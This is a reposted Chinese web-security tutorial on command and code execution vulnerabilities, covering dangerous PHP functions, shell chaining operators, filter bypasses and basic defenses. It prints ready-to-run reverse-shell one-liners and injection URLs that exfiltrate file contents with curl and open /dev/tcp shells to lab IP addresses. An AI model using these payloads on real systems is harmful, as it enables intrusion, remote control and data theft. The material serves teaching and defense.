WEB常见漏洞之命令执行(基础原理篇)

admin 2023年1月31日12:09:29评论27 views字数 9038阅读30分7秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 漏洞概述

命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数

如PHP中的system()、exec()、shell_exec()、passthru()、popen()、proc_popen()等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击

漏洞利用条件

  1. 用户能够控制的函数输入

  2. 存在可以执行代码或者系统命令的危险函数


漏洞产生原因

1.没有对用户输入进行过滤或过滤不严 例如,没有过滤 &、&&、| 、||等连接符

2.系统漏洞造成的命令执行 bash 破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到 bash 交互的多种应用,如 http、ssh 和 dhcp 等

3.调用的第三方组件存在代码执行漏洞 例如:php(system()、shell_exec()、exec()、eval() JAVA 中的命令执行漏洞(struts2/ElasticsearchGroovy等) ThinkPHP命令执行

0x02 常见危险函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec

(1)system

该函数会把执行结果输出
并把输出结果的最后一行作为字符串返回
如果执行失败则返回false
这个也最为常用

<?phphighlight_file(__FILE__);system('pwd');system('whoami');?>

(2)exec

不输出结果
返回执行结果的最后一行
可以使用output进行输出

<?phphighlight_file(__FILE__);exec('pwd',$b);var_dump($b);?>

(3)passthru

此函数只调用命令
并把运行结果原样地直接输出
没有返回值。

<?phphighlight_file(__FILE__);passthru('ls');?>

(4)shell_exec

不输出结果,返回执行结果
使用反引号(``)时调用的就是此函数

<?phphighlight_file(__FILE__);var_dump(shell_exec('ls'));?>

(5)ob_start

此函数将打开输出缓冲
当输出缓冲激活后,脚本将不会输出内容(除http标头外)
相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中
想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数
另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容

<?php    ob_start("system");    echo "whoami";    ob_end_flush();?>

命令连接符

Windows和Linux都支持的命令连接符:

cmd1 | cmd2 只执行cmd2cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号;

cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

0x03 代码执行漏洞

由于服务器对危险函数过滤不严
导致用户输入的一些字符串可以被转换成代码来执行
从而造成代码执行漏洞

成因

1.用户能够控制函数输入

2.存在可执行代码的危险函数

常见代码执行函数

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)Javascript: evalVbscript:Execute、EvalPython: exec

常用代码执行函数

(1)${}执行代码

中间的php代码将会被解析

<?php${phpinfo()};?>

(2)eval

将字符串当做函数进行执行
需要传入一个完整的语句
必须以分号 ; 结尾
最常用的函数

<?phpeval('echo "hello";');?>

(3)assert

判断是否为字符串
是则当成代码执行
在php7.0.29之后的版本不支持动态调用

低版本<?php assert($_POST['a']);?>
7.0.29之后<?php$a = 'assert';$a(phpinfo());?>

(4)preg_replace

用来执行一个正则表达式的搜索和替换
执行代码需要使用/e修饰符
前提是不超过php7

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

$pattern: 正则表达式匹配的内容

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

<?phppreg_replace("/pat/e", $_GET['reg'], 'my pat');?>

WEB常见漏洞之命令执行(基础原理篇)

(5)create_function

用来创建匿名函数

create_function(string $args,string $code
args是要创建的函数的参数code是函数内的代码

一个demo

<?phperror_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$databases=array('1234','4321');$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';usort($databases, create_function('$a, $b', $sort_function));?

payload

?sort_by="]);}phpinfo();/*

(6)array_map

为数组的每个元素应用回调函数

<?phphighlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];$array[0] = $b;$c = array_map($a,$array);?>

payload

?a=assert&b=phpinfo();

(7)call_user_func

回调函数,可以使用is_callable查看是否可以进行调用

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数
其余参数是回调函数的参数

<?phphighlight_file(__FILE__);$a = 'system';$b = 'pwd';call_user_func($a,$b);call_user_func('eval','phpinfo()');?>

(8)call_user_func_array

回调函数,参数为数组

mixed call_user_func_array ( callable $callback , array $param_arr )

第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入

<?phphighlight_file(__FILE__);$array[0] = $_POST['a'];call_user_func_array("assert",$array); ?>

(9)array_filter

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数
如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
数组的键名保留不变

<?phphighlight_file(__FILE__);$array[0] = $_GET['a'];array_filter($array,'assert');?>

(10)usort

使用自定义函数对数组进行排序

bool usort array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序
如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数

<?phphighlight_file(__FILE__);usort(...$_GET);      php5.6以上的写法#usort($_GET[1],'assert');  php5.6可用?

payload

1[]=phpinfo()&1[]=123&2[]=assert

命令执行与代码执行的区别

代码执行:执行效果完全依赖于语言本身 

命令执行:执行效果不受语言本身、命令本身的限制

0x04 常用命令拼接符号

Windows支持的管道符

常见分隔符

换行符 %0a回车符 %0d连续指令 ;后台进程 &管道符 |逻辑 ||、&&

1. "|":直接执行后面的语句

格式:命令1|命令2…命令n
规则:当命令1执行成功时才执行命令2,如果命令1未执行成功则不会执行命令2
示例:

命令1执行成功,执行命令2

WEB常见漏洞之命令执行(基础原理篇)

2. "||":如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假

格式:命令1||命令2…命令n
规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
示例:

命令1错误,命令2成功执行

WEB常见漏洞之命令执行(基础原理篇)

命令1成功,命令2不执行

WEB常见漏洞之命令执行(基础原理篇)

3. "&":如果前面的语句执行为错则直接执行后面的语句,此时后面语句无论真假整个语句都是假

格式:命令1&命令2…命令n
规则:命令1和命令2一起执行,互不影响
示例:

WEB常见漏洞之命令执行(基础原理篇)

4."&&":如果前面的语句为假则直接出错,不执行后面的语句,前面语句只能为真

格式:命令1&&命令2…命令n
规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
示例:

WEB常见漏洞之命令执行(基础原理篇)

Linux系统支持的管道符

1.";":执行完前面的语句再执行后面的

格式:命令1;命令2…命令n
规则:隔开多条shell命令一起执行
示例:
通过;执行多条命令

WEB常见漏洞之命令执行(基础原理篇)

2."|":显示后面语句的执行结果

格式:命令1|命令2…命令n
规则:隔开多条shell命令,只执行最后一个
示例:
通过|执行最后一条命令(命令执行时,Linux和Windows系统一样)

WEB常见漏洞之命令执行(基础原理篇)

3."||":当前面的语句执行出错时。执行后面的语句

格式:命令1||命令2…命令n
规则:隔开多条shell命令,只执行第一个
示例:
通过||执行第一条命令,如果第一个命令出错,则向后执行(命令执行时,Linux和Windows系统一样)

WEB常见漏洞之命令执行(基础原理篇)

WEB常见漏洞之命令执行(基础原理篇)

4."&":如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假

格式:命令1&命令2…命令n
规则:隔开多条shell命令,只执行第一个
示例:
通过&任务放到后台执行。看下图,输出多了一串数字,这个数字就是进程 ID。在 Linux 系统中运行的每一个进程都有一个唯一的进程 ID,可以使用进程 ID 来暂停、恢复或者终止对应的进程(命令执行时,LinuxWindows系统一样)

WEB常见漏洞之命令执行(基础原理篇)

WEB常见漏洞之命令执行(基础原理篇)

5."&&":如果前面的语句为假,则直接出错,不执行后面的语句,前面的语句只能为真(命令执行时,Linux和Windows系统一样)

WEB常见漏洞之命令执行(基础原理篇)

0x05 常见绕过姿势(Linux)

空格绕过

<  --  重定向,如cat<flag.php<>      --   重定向,如cat<>flag.php%09  --  需要php环境,如cat%09flag.php${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

使用转义符号

cat /flagcat fl''ag

利用拼接绕过

a=c;b=at;c=flag;$a$b $ca=c;b=at;c=heb;d=ic;ab{c}{d}

利用编码绕过

base64编码

echo MTIzCg==|base64 -d 其将会打印123echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex编码

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单引号、双引号绕过

ca''t flag 或ca""t flagca''t te""st.php

反斜杠绕过

cat flagcat test.php

绕过IP句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

在线工具:

http://www.msxindl.com/tools/ip/ip_num.asp --数字转IP

利用Linux换行执行

例如想要获取 flag.txt 中的内容,需要 cat flag.txt 命令

WEB常见漏洞之命令执行(基础原理篇)

利用通配符获取内容

linux

?可以匹配一个字符
*可以匹配很多字符

WEB常见漏洞之命令执行(基础原理篇)

3. 绕过长度限制

利用 > 符号创建文件

>flag.txt

通过 > 将命令结果存入文件中

echo "hello hacker" > flag.txt

>> 符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

echo "hello hacker" >> flag.txt

反向连接(Reverse Shell)的各类技术方法

- ; rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f- ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'- ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'- ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’- ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'

一些场景应用

1、无任何过滤或简单过滤

▪http://192.168.80.30/low.php?name=;cat flag.php▪http://192.168.80.30/low.php?name=%26cat flag.php▪http://192.168.80.30/low.php?name=|cat flag.php▪http://192.168.80.30/low.php?name=cat flag.php

2、过滤了;,|,&,`

http://192.168.80.30/medium.php?name=%0acat flag.phphttp://192.168.80.30/medium.php?name=$(cat flag.php)

3、过滤了;,|,&,`,s

http://192.168.80.30/high.php?name=$(cat<flag.php)http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)

4、过滤了关键词,比如cat

http://192.168.80.30/low.php?name=;c''at flag.phphttp://192.168.80.30/low.php?name=;cat flag.phphttp://192.168.80.30/low.php?name=;c$@at flag.phphttp://192.168.80.30/high.php?name=$(cat<flag.php)http://192.168.80.30/high.php?name=$(tac<flag.php)http://192.168.80.30/high.php?name=$(more<flag.php)http://192.168.80.30/high.php?name=$(tail<flag.php)

5、页面无命令结果的回显

▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

0x06 常见linux命令

ls命令

ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS、"/"表示目录、"="表示套接字。ls -s 在每个文件的后面打印出文件的大小。size(大小)ls -t 按时间进行文件的排序 Time(时间)ls -A 列出除了"."和".."以外的文件。ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现ls -L 列出文件的链接名。Link(链接)ls -S 以文件的大小进行排序

读文件命令

cat--由第一行开始显示内容,并将所有内容输出tac--从最后一行倒序显示内容,并将所有内容输出more-- 根据窗口大小,一页一页的现实文件内容less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符head-- 只显示头几行tail --只显示最后几行nl --类似于cat -n,显示时输出行号tailf-- 类似于tail -fvim --使用vim工具打开文本vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

0x07 漏洞防御

1.尽量使用自定义函数或函数库实现外部应用程序命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。

2.参数的值尽量使用引号包括,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、htmlentities 、mysql_real_escape_string)

3.在进入执行命令函数前进行严格的检测和过滤以及对敏感字符进行转义

如:cat、tail、find、echo、tar等等如:|、||、&、;、<、>、$等

0x08 知识星球

WEB常见漏洞之命令执行(基础原理篇)

原文始发于微信公众号(狐狸说安全):WEB常见漏洞之命令执行(基础原理篇)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月31日12:09:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB常见漏洞之命令执行(基础原理篇)http://cn-sec.com/archives/1530407.html

发表评论

匿名网友 填写信息